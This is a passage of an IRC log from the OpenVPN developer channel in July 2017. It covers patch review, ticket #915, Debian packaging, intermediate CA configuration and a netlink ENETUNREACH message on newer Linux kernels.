<@ordex> now I see our releases/2.x branches under different lights :P because they are really treated as LTS trees.. 06:47 <@ordex> thanks for spending some energy on me :P 06:48 <@syzzer> you're welcome - I learned something too today. I always considered the 'batman-adv' approach as 'just feature branches', but it actually is subtly different :) 06:49 <@ordex> oh I see 11:57 <@cron2> plaisthos: lol :-) (utun) 12:03 <@plaisthos> :) 12:03 <@plaisthos> cron2: https://www.youtube.com/watch?v=S_EuNmQOpbw 12:14 <@cron2> *g* 20:42 <@ordex> morning :) 20:45 <@ordex> plaisthos: was it you in the video? :P 20:54 < CRCinAU> morning. 20:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:17 < CRCinAU> ordex: question 22:17 < CRCinAU> is the management patch the only one needed on top of 2.4.3 for the auth token stuff to work correctly? 22:17 < CRCinAU> or are there others? 22:19 < CRCinAU> dazo: also re ^^ 23:54 <@ordex> CRCinAU: I'd mneed to check, but the other patch *should* be in 2.4.3 --- Day changed Fri Jul 14 2017 00:11 < CRCinAU> okies 00:11 < CRCinAU> I'm asking the arch guy to include it in the build until we release 2.4.4 00:30 <@ordex> CRCinAU: oh I see 00:30 <@ordex> makes sense 00:31 <@ordex> you can point him towards the ticket you opened in trac 01:18 <@vpnHelper> RSS Update - tickets: #915: --cipher setting should be "what is in the config", not "what was negotiated in a previous connect" <https://community.openvpn.net/openvpn/ticket/915> 03:33 < CRCinAU> ordex: if you have permissions, change the milestone to release 2.4.4 on that bug? 03:33 < CRCinAU> this one -> https://community.openvpn.net/openvpn/ticket/904 03:33 <@vpnHelper> Title: #904 (auth-tokens are purged if auth-nocache is set) – OpenVPN Community (at community.openvpn.net) 03:33 < CRCinAU> however, I haven't seen that patch get merged yet. 03:34 * CRCinAU puts on his kickin' boots. 03:40 <@cron2> /mode +b CRCinAU 04:14 <@ordex> lol 05:00 * syzzer is expecting a tsunami of "applied" mails once cron2 finds some cycles to spend on openvpn again :-D 05:05 <@ordex> :D 05:05 * ordex gets to the highest floor to avoid the tsunami 05:28 < CRCinAU> heh 05:28 < CRCinAU> sounds about right ;) 05:34 < slypknot> syzzer: will update #915 soon .. but FYI: it for sure is *not* fixed ! 05:36 < slypknot> *:4070 Authenticate/Decrypt packet error: packet HMAC authentication failed 05:36 < slypknot> *:4070 Fatal decryption error (process_incoming_link), restarting 05:36 < slypknot> *:4070 SIGUSR1[soft,decryption-error] received, client-instance restarting 05:36 < slypknot> all i had to do; (1 05:37 < slypknot> add --ncp-disable to the server and restart only the server not client (git master .. --proto tcp) 06:46 < slypknot> that should suffice ;) 06:47 < slypknot> oh BOLLOX .. I forgot "git pull etc .." will update ticket shortly .. 06:47 * slypknot slaps head hard 06:48 < slypknot> syzzer: ^ (i need a couple of hours for verk) 08:00 < slypknot> syzzer: according to my second test with up-to-date git_master srv&cli .. the problem does still exist 08:00 < slypknot> https://community.openvpn.net/openvpn/ticket/915#comment:2 08:00 <@vpnHelper> Title: #915 (--cipher setting should be "what is in the config", not "what was negotiated in a previous connect") – OpenVPN Community (at community.openvpn.net) 08:01 * slypknot cracks open the cooler for all ;) 08:12 * ordex drinks in the name of slypknot 08:15 < slypknot> cheerz ;) 08:24 <@syzzer> slypknot: thanks for testing! 08:24 <@syzzer> too bad that the ticket can't be closed immediately though :p 08:25 <@syzzer> will have to look at it later again (but tls-crypt-v2 first) 15:26 <@vpnHelper> RSS Update - tickets: #916: build.openvpn.net unreachable via IPv6. breaking distro updates <https://community.openvpn.net/openvpn/ticket/916> --- Day changed Sat Jul 15 2017 00:48 <@ordex> ayo 00:48 <@ordex> :] 00:56 < CRCinAU> yup 00:56 < CRCinAU> this is nice: https://weaponizedautism.wordpress.com/2017/07/14/vulnerabilities-in-technicolor-adsl-residential-gateways/ 00:56 <@vpnHelper> Title: Vulnerabilities in Technicolor ADSL residential gateways | Weaponized Autism (at weaponizedautism.wordpress.com) 00:59 * ordex forgot what ADSL is :P 10:05 <+krzee> hah nice one CRCinAU, i broke the snom phones in a similar manner 10:06 < CRCinAU> ? 10:07 <+krzee> link from 10 hrs ago re root on adsl gateway 10:10 < CRCinAU> oh - yeah... :) 13:15 < CRCinAU> yay 13:15 < CRCinAU> 04:14 -!- mode/#archlinux [+b $a:CRCinAU] by alad 13:15 < CRCinAU> 04:14 -!- CRCinAU was kicked from #archlinux by alad [CRCinAU] 14:07 <@cron2> mattock: #916 is yours... 15:16 < slypknot> aarg! trac is slow 21:40 <@ordex> CRCinAU: :D 23:01 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Remote host closed the connection] --- Day changed Sun Jul 16 2017 01:03 < CRCinAU> lol 01:03 < CRCinAU> https://lkml.org/lkml/2017/7/6/577 01:03 <@vpnHelper> Title: LKML: Linus Torvalds: Re: [RFC][PATCH] exec: Use init rlimits for setuid exec (at lkml.org) 01:03 < CRCinAU> And yes, a large part of this may be that I no longer feel like I can 01:03 < CRCinAU> trust "init" to do the sane thing. You all presumably know why. 03:17 <@ordex> hey syzzer: did you manage to have a look at the tls-crypt-v2? 03:47 <@syzzer> ordex: yeah - processed your work, merged it with my own changes. Not yet fully through your mail with comments though 03:48 <@ordex> cool! thanks :) 03:49 <@syzzer> I expect to push out an updated branch Mon or Tue, depending on how busy it is at $dayjob 03:49 <@ordex> alright, sounds good! 03:49 <@ordex> I think the "thing" is taking shape :) 17:22 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 21:07 <@ordex> morning:) 21:21 < CRCinAU> urgh 21:21 < CRCinAU> morning. 21:21 < CRCinAU> there's a "thing"? 21:22 < CRCinAU> what is this "thing" and where can I lodge bugs against it? :P 21:27 <@ordex> break something ! 21:59 < CRCinAU> that's what I do best :) 22:00 < CRCinAU> well, that and get banned from Freenode channels ;) --- Day changed Mon Jul 17 2017 01:24 <@ordex> mattock: what do you use to create the debian openvpn package? I've never done it and I'd like to build the package for ubuntu xenial (arm64) 01:25 <@ordex> mattock: I have built the binary using the openvpn-build. but I wonder how am I supposed to "coordinate" the libs used by the build system wth what is installed in the ubuntu distro? should I manually modify the build scrupt to make sure it pulls the right versions? 02:57 <@mattock> ordex: re: debian packages: https://github.com/OpenVPN/sbuild_wrapper 02:57 <@vpnHelper> Title: GitHub - OpenVPN/sbuild_wrapper: A set of scripts for easily building a set of Debian/Ubuntu packages. Currently highly OpenVPN-specific. (at github.com) 02:57 <@mattock> that may be an overkill if you just want to build _a_ package, though 02:57 <@ordex> mattock: aye! thanks 02:58 <@mattock> but quite useful for building a dozen 02:58 <@ordex> mattock: well, it's a good starting to point to learn how to do it 02:58 <@mattock> it works pretty well, but there's always room for improvement 02:58 <@mattock> what do you mean by "coordinate the libs" in openvpn-build? 02:59 <@mattock> like which dependency (openssl etc) versions to use? 03:00 <@ordex> right 03:00 <@mattock> generic/build.vars and windows-nsis/build-complete.vars 03:00 <@ordex> I said "coordinate" because they have to be the same as the target system, no ? and the question is: if I build for jessie: is there an easy way to get the exact dependency as jessie has ? 03:00 <@ordex> ok 03:01 <@ordex> so I have to manually tweak that to retrieve the right one, right ? 03:01 <@mattock> ah, I see 03:01 <@mattock> I have never used openvpn-build to build anything else besides Windows installers 03:01 <@mattock> you can use it to cross-compile other things like arm binaries 03:01 <@mattock> but building binaries for "normal" Linux distros - never done it 03:02 <@mattock> hence sbuild_wrapper, which does that packaging part and all in one go 03:02 <@ordex> mattock: oh ok - does it also do the building ? 03:02 <@mattock> yes 03:02 <@ordex> ah, perfect! 03:02 <@ordex> I'll check that then 03:03 <@mattock> it can build for several architectures and distros in one go 03:03 <@mattock> but you don't _have_ to build multiple - it depends on what schroots you have created 03:04 <@mattock> I believe sbuild_wrapper documentation is pretty good - I update it on every release 03:04 <@ordex> ok 03:04 <@ordex> will read that then :) 03:04 <@ordex> sounds like what I need 03:05 <@mattock> let me know if you have any problems with it - and don't hesitate to issue PRs :) 03:05 <@ordex> :D k 03:10 <@ordex> mattock: PR sent. I seldom sent PR on github, therefore I hope I've done everything right :P 03:16 <@ordex> mh travis-ci is not happy - will check later 03:22 < CRCinAU> so ummm, what else do we want to achieve for 2.4.4 release? 03:31 < CRCinAU> fwiw - my latest crusade ;) 03:31 < CRCinAU> https://pagure.io/fesco/issue/1741 03:32 <@vpnHelper> Title: Issue #1741: F27 System Wide Change: Graphical Applications as Flatpaks - fesco - Pagure (at pagure.io) 03:32 < CRCinAU> wonder if I can get banned from a web site LOL 04:24 <@mattock> cron2: IPv6 on build should work now: https://community.openvpn.net/openvpn/ticket/916#comment:2 04:25 <@cron2> Trying 2600:1f1c:702:ae00:e0a7:e533:ee3a:8dbc... 04:25 <@cron2> Connected to build.openvpn.net. 04:25 <@cron2> \o/ 04:28 <@ordex> \o/ 04:28 <@ordex> long live ipv6! 04:30 <@cron2> trac is particularily slow today... 05:20 < eworm> the repository has not seen commits in a long time... 05:35 <@syzzer> eworm: yes the maintainers have been very busy and/or on holidays recently 05:37 < CRCinAU> hrrrm 05:37 < CRCinAU> ewwwww 05:37 < CRCinAU> IPv6 to that via HK, JP -> US 05:40 <@syzzer> CRCinAU: waht do you use to check the route, traceroute6? 05:41 < CRCinAU> yeah 05:41 < CRCinAU> then again, it seems a lot of the US goes that way for me :\ 05:41 < CRCinAU> its pretty shitty 05:43 <@syzzer> that doesn't even manage to really show the route to me 05:43 <@syzzer> it's london-newyork-??? 05:46 <@syzzer> Ipv4 claims Amsterdam-San Francisco-Seattle-San Jose :') 05:57 <@ordex> hehe 05:58 <@ordex> CRCinAU: there is a transoceanic link crossing the pacific, but maybe it is expensive :P 05:58 < CRCinAU> only for ipv6 packets :P 05:58 <@ordex> "it seems a lot of the US goes that way for me :\" << thought you were speaking about ipv4 too 05:59 <@ordex> which host are you targetting ? 06:01 < CRCinAU> oh - just the one pasted above and my kit in Dallas 06:02 < CRCinAU> ie ns2.crc.id.au / whatever the IP above is. 07:31 <@vpnHelper> RSS Update - gitrepo: ntlm: unwrap multiple function calls <https://github.com/OpenVPN/openvpn/commit/ad7f7e56d34bbf477a7e5639f1b78b2c7e58186c> || ntlm: avoid useless cast <https://github.com/OpenVPN/openvpn/commit/1cdfc9302aad8570360d278aded5fb9f110ca2b6> || don't print errno twice <https://github.com/OpenVPN/openvpn/commit/e441d861881669c97906652c3278cc9a6c69a417> || use M_ERRNO instead of explicitly printing errno <https://gith 07:34 <@syzzer> ooh, commits! \0/ 07:35 <@ordex> <o 08:16 < CRCinAU> I see lots of new patches applied, but not ordex's one ;) 08:40 <@syzzer> CRCinAU: well I guess you shouldn't have pissed off cron2 :p (or: be patient, many patches & ACKs on the list.) 08:42 <@ordex> :D 08:42 <@ordex> I am sure CRCinAU is on the blacklist already 08:43 * cron2 has just applied *4* patches from ordex... just to point this out 08:44 <@cron2> applying and testing takes a bit, and if you are not careful ("just this patch, before I need to leave") you end up with a blowup in the buildbots... so all patches get at least some extra review for "uh oh, this looks like it could explode on $platform" 08:44 <@cron2> or "mmmh, is this compatible with client option --x" 08:50 <+krzee> that must be helped by the small number of config options 08:50 <+krzee> ;] 10:07 <@ecrist> heh 11:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 11:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:18 <@ordex> hi there 20:38 < CRCinAU> mornin 20:51 <@ordex> g'day 20:51 <@ordex> :) 20:56 <+krzee> buenas noches 20:57 < CRCinAU> free nachos? where? 21:00 <@ordex> lol 21:00 <@ordex> nowhere 21:00 <@ordex> :D 21:08 -!- danhunsaker_ [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 21:15 -!- Netsplit *.net <-> *.split quits: danhunsaker 21:15 -!- danhunsaker_ is now known as danhunsaker --- Day changed Tue Jul 18 2017 01:56 <@cron2> moin 02:18 <@ordex> moin moin :) 02:19 <@syzzer> morning :) 02:20 <@syzzer> CRCinAU: Your Prime Minister just made me laugh (and feel a bit sorry): ""The laws of mathematics are very commendable but the only law that applies in Australia is the law of Australia." 02:21 <+krzee> can somebody explain to me a valid use case for intermediate CA when used for openvpn? 02:21 <@syzzer> krzee: large organisations 02:21 <+krzee> so a root CA could give an intermediate to each branch 02:22 <@syzzer> for example 02:22 <+krzee> they could manage their own users without locking the head office out 02:22 <+krzee> cool thanks 02:22 <@syzzer> or, have a top-level CA that's stored in a volt somewhere and only used to sign intermediate CA's 02:22 <@syzzer> those are then 'online' in that people can send CSR's to get CRT's 02:23 <@syzzer> hrmpf, written too much Dutch, using 's for plural again... 02:23 <@ordex> :D 02:23 <+krzee> syzzer: but how would that increase security if the intermediate is online? 02:24 <@syzzer> because that one is easier to revoke of something goes wrong 02:24 <@syzzer> (without disrupting business) 02:24 <@syzzer> and most likely the intermediates have a shorter validity period 02:25 <+krzee> so client uses intermediate ca.crt in their config, right? 02:26 <@syzzer> depends on the setup :) - when using intermediate for branches, yes. when using it to transition from one "short-validity" intermediate CA to the next, no. 02:29 <+krzee> the vault 02:29 <+krzee> (learning only so i can help others, not interested in it for my own stuff 02:29 <+krzee> cause i just vault the root ca and call it done 02:30 <+krzee> so either ca would auth? 02:30 <@syzzer> krzee: yeah, but if you have thousands of users, you'll effective have your root CA out of the vault all the time 02:31 <+krzee> true, lucky me doesnt have to deal with that 02:31 <+krzee> for my phone ca its on the phone build system which is inactive unless building phones 02:32 <+krzee> the others are rarely added to so i can deal with offline 02:34 <+krzee> sorry my question was very unclear, i mean to ask that if a client is signed by an intermediate CA, the server could use either ca crt to auth the client? 02:35 * cron2 is a bit vague on that as well... in http context, you usually have the server deliver the intermediate CA as well, so the chain can be checked 02:36 <@cron2> syzzer: what would you need to put where to make this work with openvpn? (We currently use root/intermediate CA setup @work, but I'm not responsible for the certificates - and all the openvpn stuff uses "ca $intermediate.crt" not root) 02:43 < CRCinAU> syzzer: yeah - I sent several emails to senators about that. 02:45 <@syzzer> cron2: it should be possible to 'chain' (just concat) the intermediate cert to the client cert, but I recall something about that only working client->server, not the other way around 02:46 <@syzzer> so client could have 'cert <inter|client>' and servers 'ca <root>' and that should work 02:48 <@syzzer> (but this is where my ready knowledge reaches it's limits, but need to look it up of you really want to know) 02:50 <+krzee> it would make sense to me that it depends who signed the server cert 02:51 <+krzee> so if intermediate signed server cert id expect the client needs concat-ca.crt 02:51 <+krzee> and if client was signed by intermediate the server would need concat-ca.crt 02:51 <+krzee> but i literally have no clue, so i differ to syzzer obviously 02:52 <@syzzer> krzee: your mean like 'ca concat-ca.crt' ? 02:52 <+krzee> ya 02:53 <@syzzer> that would work, but would probably allow more than you'd want, because it trusts each ca in concat-ca 02:53 <@cron2> syzzer: actually it would be most useful to have "ca root.crt" on the clients, so you can fix the intermediate CA if needed, without changing client configs... 02:54 <@syzzer> cron2: yeah, I know. And afaik TLS does allow that, but I recall that either our implementation or (one of?) our crypto libs does not support that 02:54 <@cron2> meh 02:55 <@syzzer> would need to check that some time 02:55 <+krzee> well that helped the user 02:55 < CRCinAU> also: https://brandis.io/ 02:55 <@vpnHelper> Title: Brandis: End-to-end encryption for everyone (at brandis.io) 02:55 <@syzzer> might be that older polarssl couldn't do it 02:56 <+krzee> im still not sure i wrap my head around why 1 side gets root-ca.crt and other gets concat-ca.crt 02:56 <+krzee> but i know it works 02:56 <+krzee> (with confirmation from the user even) 02:56 <@syzzer> "Powered by: The laws of mathematics™ is that in response to this quote? :p 02:56 < CRCinAU> of course. 02:56 <@syzzer> brilliant 02:57 < CRCinAU> Australia has not taken kindly to his remarks. 02:57 < CRCinAU> Braidis is out A/G 02:57 < CRCinAU> err our 02:57 < CRCinAU> also a cluless luddite fuckstick 04:59 < slypknot> one for dazo : https://forums.openvpn.net/viewtopic.php?f=6&t=24497 04:59 <@vpnHelper> Title: Can't get pam authentication to work - OpenVPN Support Forum (at forums.openvpn.net) 04:59 * ordex would really like to cleanup route.c .. 04:59 < slypknot> ordex: hi :) 04:59 <@ordex> hi there :) 04:59 <@cron2> ordex: I would not object to that, but it needs to be done with careful consideration and LOTS of testing 05:00 <@ordex> cron2: yes and primarly it must be done in a way that can be reviewed without losing hair 05:00 * cron2 has "clean up tun.c" on his trac ticket list 05:00 <@cron2> right 05:00 <@ordex> yeah, that's the other beast 05:01 <@ordex> cron2: so expect a lot of patches whenever the time will come :D 05:01 <@cron2> so making everything magic with per-os-command-tables and such might have a given elegance, but makes reviewing harder... so a reasonable middle ground needs to be found - maybe a split into "os dependent" and "os independent" parts, etc. 05:01 * cron2 would prefer to not have 1000s patches with a single-line change each 05:01 <@ordex> hehe I am not that mad, yet 05:01 <@ordex> I agree about os dep and os indep 05:02 <@cron2> oh, well, the ntlm patch set was bordering on this... 5 patches with only 2-3 lines of changes each... 05:02 <@ordex> ah well, but each of them was doing a different thing :P 05:02 <@ordex> but yeah, that was close :) 05:03 <@cron2> understood, but an umbrella ntlm.c fixup patch with a commit message that explains "5 things have been cleaned up here:..." would have been totally fine 05:03 <@ordex> oh ok 05:04 <@cron2> it needs to be grouped reasonably - one extreme is "too big and complex for a proper review", the other one is "too many small patches, so merging to all branches, sending reply messages, ... just takes too much effort" 05:04 <@ordex> my point is that, if one change is not "easy to agree" might wait longer, while simple changes can go in immediately in that case 05:04 <@ordex> yeah that's true too 05:05 <@cron2> there is some middle ground, and it's not always obvious what "best" is (because there is a subjective aspect, of course) 05:05 <@ordex> yap 05:06 <@ordex> usually the problem with grouping patches that are semantically different is that you may agree with one change, but not with the other and this means splitting it up later and resending with different subject 05:06 <@cron2> or doing a v2 that has the feedback worked in 05:07 <@ordex> cron2: however, you can also merge and cherry-pick group of patches, just in case you missed that 05:07 <@ordex> I know you may not want to do that, but just wanted to say 05:08 <@cron2> as I send out a per-patch reply mail, it will not significantly change the amount of work 05:09 <@ordex> yeah, I was assuming you might have wanted to send an per-patchset reply in that case 05:09 <@ordex> but yeah 05:09 <@ordex> it's your call :) 05:10 <@ordex> but having one reply per-patch might help keeping track of what was applied and what not easily, since we have no patchwork 05:12 * cron2 reminds mattock that he wanted to investigate patchwork :-) 05:12 <@cron2> (but he has a new and exciting project going which will keep him and his wife very busy for the next few months, so we'll need to do without this for a while longer...) 05:13 <@ordex> hehe 05:14 <@ordex> patchwork is also pretty cool because it reminds people what they have to review - i.e. a certain patch is for syzzer, so you can assign it (as it was a ticket) and he can't pretend to not know :P 05:29 < slypknot> does openvpn-connect(Andriod) support --x509-username-field ? 05:30 < slypknot> is that one for plaisthos ^ 06:01 < slypknot> There is the tiniest of errors in the manual: you could use "--verify-x509-name Server -name-prefix" should be "you could use --verify-x509-name Server- name-prefix" (note the dash after Server) 06:03 < slypknot> that is the 2.4 manual .. 2.3 is actually correct 06:15 < slypknot> also present in master : doc/openvpn.8 Line 5343 : .B \-\-verify\-x509\-name Server -name-prefix 06:16 < slypknot> do i need to file a bug report ? 06:16 <@plaisthos> slypknot: the OpenVPN in my app has very little difference to normal OpenVPN master but that option is server only so my app does not support it 06:16 <@syzzer> slypknot: yes, file a report, or send patch ofc 06:16 < slypknot> syzzer: thanks .. maybe i'll try to send a patch ! 06:17 <@syzzer> that would be best 06:17 <@syzzer> just make sure to send it using git send-email 06:18 < slypknot> plaisthos: thanks, i did not know it is server only, will conduct a test 06:20 <@plaisthos> slypknot: read the option in the manpage 06:20 <@plaisthos> what is being used as *username* 06:20 <@plaisthos> why should the client care about a username? 06:30 < slypknot> plaisthos: the man page is not explicit .. also --x509-username-field directly effects --verify-x509-name *and that is* available to server and client .. so it does not read well 06:30 < slypknot> but thanks anyway 06:34 <@plaisthos> then it might be a bug to be server only 06:37 <@ordex> or a bug in the doc ! 06:37 <@ordex> :P 06:37 <@plaisthos> hm 06:37 <@plaisthos> no 06:37 * ordex was teasing 06:37 < slypknot> ordex: I am going to try to submit a patch for it .. as I don't need to know C for that :) 06:37 <@ordex> :P 06:37 <@plaisthos> there is an extra define for that suff 06:37 <@plaisthos> ENABLE_X509ALTUSERNAME 06:38 <@plaisthos> and my client does not have it 06:38 < slypknot> plaisthos: i also tested master and it is not supported for clients 06:43 < slypknot> Does "GDG6: NLSMG_ERROR: error -101" simply mean I do not have a IPv6 default gateway on LAN ? 06:56 <@ordex> no easy answer I think :P 07:04 <@cron2> slypknot: it means something is fucked up in your system - the library returned error "101", but the "make a readable string from that" part of your OS claims "there is no message number 101" 07:04 <@cron2> "no gateway" should be spelled out as such 07:05 < slypknot> cron2: i do also get "ROUTE6: default_gateway=UNDEF" as the next message 07:07 <@cron2> if trying to figure out the gateway address hits an OS error, the result will be "undef", as we couldn't figure it out. It should never error out, though, especially not without a useful message 07:10 < slypknot> ROUTE6: default_gateway=UNDEF is ok (for me) because I don't have any ipv6 routers so .. 07:10 < slypknot> GDG6: NLSMG_ERROR: error -101 only occurs on arch linux .. I am checking all the settings I have 07:14 < slypknot> cron2: do you have any more info regarding "the library" .. lib-suchnsuch ...? 07:18 <@cron2> on linux, this is likely part of libc, and you have set a language environment that the system doesn't know about 07:18 <@cron2> try setting "export LANG=C" and then call openvpn --show-gateway 07:24 < slypknot> nope .. on Arch it still the same but on centos7+debian8+gentoo no error -101 .. so my guess is bleeding edge arch 07:25 <@ordex> slypknot: you mean on centos7+debian8+gentoo you get a proper error message or you get no error at all ? 07:28 <@ordex> in theory ..... 101 should ENETUNREACH 07:28 <@ordex> *should be 07:30 < slypknot> ordex: on those other OSs i get: GDG6: remote_host_ipv6=n/a 07:31 < slypknot> on arch i get: GDG6: remote_host_ipv6=n/a .. followed by: GDG6: NLSMG_ERROR: error -101 07:31 <@cron2> "remote_host_ipv6=n/a" is independent, and only says something about what you're talking to 07:31 <@plaisthos> I just brought my new Macbook to repair and got back to the old Macbook that hasn't been on for 3 month 07:31 <@cron2> (if --show-gateway = "no remote vpn server address set") 07:32 <@plaisthos> It is amazing, only 3 months and still *everything* want to update itself 07:32 <@ordex> plaisthos: does it want to upgrade your cousin? 07:32 <@ordex> there you go 07:32 <@ordex> :D 07:32 <@ordex> slypknot: what is the sequence of messages you get? the NL error can happen at any point .. 07:33 <@plaisthos> ordex: maybe, but I haven't seen her in 20 year, so seeing her again would be quite an update 07:33 <@ordex> :D 07:33 <@ordex> that's more than 3 months :P 07:35 < slypknot> well .. with NO vpn running at all: openvpn --show-gateway = Tue Jul 18 13:31:14 2017 GDG6: NLSMG_ERROR: error -101 07:35 < slypknot> Tue Jul 18 13:31:14 2017 ROUTE_GATEWAY 10.10.201.1/255.255.255.0 IFACE=eth0 HWADDR=00:15:5d:48:6e:01 07:35 <@cron2> ENETUNREACH would be a bit weird, but could make "some sort of sense" if there is no v6 at all 07:36 <@ordex> maybe 07:36 <@cron2> no message for that is suprising, though 07:36 <@plaisthos> maybe it is some weird, we return error message as negative version api 07:36 <@ordex> netlink is so weird by itself :P 07:36 <@plaisthos> like posivie is the thing you want and negative is -errno 07:37 <@ordex> cron2: why surprising? the code does not seem to even attempt to print a message 07:37 <@ordex> (maybe that could be changed) 07:46 <@cron2> ordex: oh. Good catch. 07:46 <@ordex> we could throw a strerror() in there 07:46 <@cron2> I read "NLS" so "this must be somewhere in gettext-and-friends land", but this actually a typo in the error message, and it *wants* to print "NLMSG_ERROR" 07:47 <@ordex> ah right, it should be NLMSG 07:47 <@ordex> I did not even notice that - I hate libnl so much that I see it everywhere anyway :P 07:47 <@cron2> and fix the typo :) - strerror() is good, but it might need to be "strerror(-(ne->error))" then, as I think strerror() wants positive error numbers 07:48 <@ordex> yes it does wants a positive thing 07:48 <@cron2> interesting, why does arch return an error, instead of just returning "nothing" like everybody else (including "every linux version") 07:48 <@cron2> syzzer: are you around? 07:48 <@ordex> maybe the inet6 module isnot loaded at all ? 07:48 <@ordex> slypknot: ^^ 07:54 <@cron2> syzzer: our logging sucks... if I "grep Encrypt.*BF-CBC" to find which clients are still using old-old configs (no 2.4 and no --cipher AES* in 2.3 configs), most hits do not show me the client instance - *some* do, though, which confuses me 07:58 < slypknot> this is cron2 https://goo.gl/images/hgyySL :D 07:58 <@vpnHelper> Title: Redirect Notice (at goo.gl) 08:01 < slypknot> ordex: Note: The Arch kernel has IPv6 support built in directly, therefore a module cannot be blacklisted. 08:02 <@ordex> slypknot: ok 08:07 <@plaisthos> cron2: renogiations show the client name, intial connection don't 08:10 <@cron2> plaisthos: hrm. Thanks. Not exactly what I hoped for... (and we have a number of messages that all do not help me - "using peer cipher", "using negotiated cipher", but we have no message for "staying with default cipher <x>"... 08:10 <@plaisthos> :) 08:13 <@ordex> slypknot: what kernel version is Arch running? 08:14 <@ordex> cron2: btw, doesn't make sense that the kernel simply returns ENETUNREACH when you try to lookup a route to a destination that is not present ? 08:14 <@ordex> in this case the default 08:15 <@ordex> or better .... slypknot could you please paste your "ip -6 route" output ? 08:15 <@ordex> maybe you have some "unreachable" routes installed which is what the gw lookup is matching 08:20 < slypknot> ordex: HTH https://0paste.com/13912 08:20 <@ordex> slypknot: could you use ip -6 route ? 08:20 <@ordex> I don't know if route prints everything 08:21 <@ordex> by checking the kernel it seems that ENETUNREACH is retuened for a positive match in the routing table with an unreach action - but this could not be necessarily the case 08:22 < slypknot> ordex: https://0paste.com/13913 08:22 <@ordex> mh does not seem to be the case 08:24 < slypknot> ordex: https://0paste.com/13914 08:27 <@ordex> slypknot: yeah, ENETUNREACH is returned when no route is found too 08:27 <@ordex> so this makes sense 08:27 <@ordex> maybe this was changed recently 08:29 <@ordex> on my machine with 4.3 I get no error, so something different is happening there 08:29 <@ordex> 4.4 actually 08:29 <@cron2> ordex: on other platforms, possibly older, I do not get an error - and I did test "no v6" :-) 08:29 <@cron2> so maybe that is bleeding edge... 08:29 <@ordex> yup 08:29 <@ordex> probably something new 08:30 < slypknot> ordex: can i delete that paste or do you need it ? 08:30 <@ordex> you can delete it, thanks 08:30 < slypknot> ok thanks you >:) 08:34 < slypknot> ordex: Centos7 -6 route https://0paste.com/13915 08:34 < slypknot> what is with 0.0.0.0/96 [::] !n 1024 0 0 lo 08:34 <@ordex> what kernel version is this ? 08:35 < slypknot> 3.10.0-514.16.1.el7.x86_64 #1 SMP 08:35 <@ordex> dunno what that is :D 08:35 < slypknot> weird /:) 08:38 <@ordex> ah found the commit that changed this :) 08:38 <@ordex> and it's there since 4.11 08:39 <@ordex> so you got it just on time :D 08:39 <@ordex> apparently returning ENETUNREACH was already the case for IPv4 and this change makes IPv6 behave the same 08:40 < slypknot> ordex: you mean me right ? 08:40 <@ordex> yes, you you 08:40 <@ordex> :D 08:40 < slypknot> lol 08:40 <@ordex> actually 08:41 <@ordex> I wonder if my "sitnl" handles this .. 08:42 <@ordex> slypknot: but does this create any trouble at runtime? or is it just a message? 08:46 < slypknot> ordex: just the message .. everything works as i expect it to 08:47 <@ordex> oky 08:47 < slypknot> my expectations may not be correct ;) 09:40 <@syzzer> cron2: yeah, the logging is disappointing. The name is in the logs, but it is not updated in the session until openvpn completes its 'user auth' (even if there is none) 09:40 <@syzzer> for non-NCP client, keys are negotiated (and thus "BF-CBC" is printed) *before* we update the client-instance name 09:47 <@ordex> syzzer: totally OT question (I thought about this today): could OTR be applied to VPN encryption ? or: would it make any sense? 09:48 <@syzzer> ordex: as in, the chat protocol? 09:48 <@ordex> yap 09:49 <@syzzer> it could, but it would have quite some overhead, both byte-wise as performance-wise 09:49 <@syzzer> since it basically does (EC)DH for each message sent/received 09:49 <@syzzer> (iirc) 09:51 <@ordex> I don't entirely remember the details too 09:51 <@ordex> but probably yeah 09:51 <@ordex> otherwise it couldn't work 09:51 <@ordex> and that kills the performance yeah 09:57 <@syzzer> btw, I will probably not make it to push the updated tls-crypt-v2 branch out today, I found some more issues in the unit test harness that I want to address 09:57 <@syzzer> maybe tomorrow :) 09:59 <@ordex> oh ok 09:59 <@ordex> don't get entangled ! 09:59 <@ordex> :D 10:04 <@syzzer> too late... 10:04 <@syzzer> hehe 10:05 <@ordex> :D 10:06 <@vpnHelper> RSS Update - tickets: #917: tapinstall.exe certificate expired 2016 <https://community.openvpn.net/openvpn/ticket/917> 10:34 <@vpnHelper> RSS Update - tickets: #918: openvpn-server@ systemd unit has insufficient capabilities <https://community.openvpn.net/openvpn/ticket/918> 11:18 < slypknot> RE: #918 .. I have already emialed dazo .. also FYI https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=866523 11:18 <@vpnHelper> Title: #866523 - Duplicate systemd units - Debian Bug report logs (at bugs.debian.org) 13:31 <@cron2> ordex: wrt ENETUNREACH - the code is fairly defensive "if we can't determine the gateway, that's how it is, there might not *be* one" - but obviously that particular case deserves better logging 18:24 <@vpnHelper> RSS Update - gitrepo: ntlm: unwrap multiple function calls <https://github.com/OpenVPN/openvpn/commit/ad7f7e56d34bbf477a7e5639f1b78b2c7e58186c> || ntlm: avoid useless cast <https://github.com/OpenVPN/openvpn/commit/1cdfc9302aad8570360d278aded5fb9f110ca2b6> || don't print errno twice <https://github.com/OpenVPN/openvpn/commit/e441d861881669c97906652c3278cc9a6c69a417> || use M_ERRNO instead of explicitly printing errno <https://gith 20:44 <@ordex> cron2: agreed. personally I wanted to deal with ENETUNREACH in another patch because that required some more thinking and changes 20:46 <@ordex> cron2: or, if you prefer, I can merge everything in one patch once I decide what to do with ENETUNREACH 20:46 <@ordex> yeah..will do that 21:16 <@ordex> moin --- Day changed Wed Jul 19 2017 02:15 <@syzzer> morning :) 02:18 <@ordex> :) 02:20 <@cron2> syzzer: you've seen the thread on openvpn-users about encrypted private keys and iOS (= libressl) refusing AES256-encrypted PKs? 02:21 <@syzzer> cron2: noticed it, but ignored it as soon as I read "iOS" 02:21 <@syzzer> (and I think you mean mbed tls) 02:21 <@cron2> the interesting bit is not actually iOS specific, it's "I cannot open an encrypted key if it's 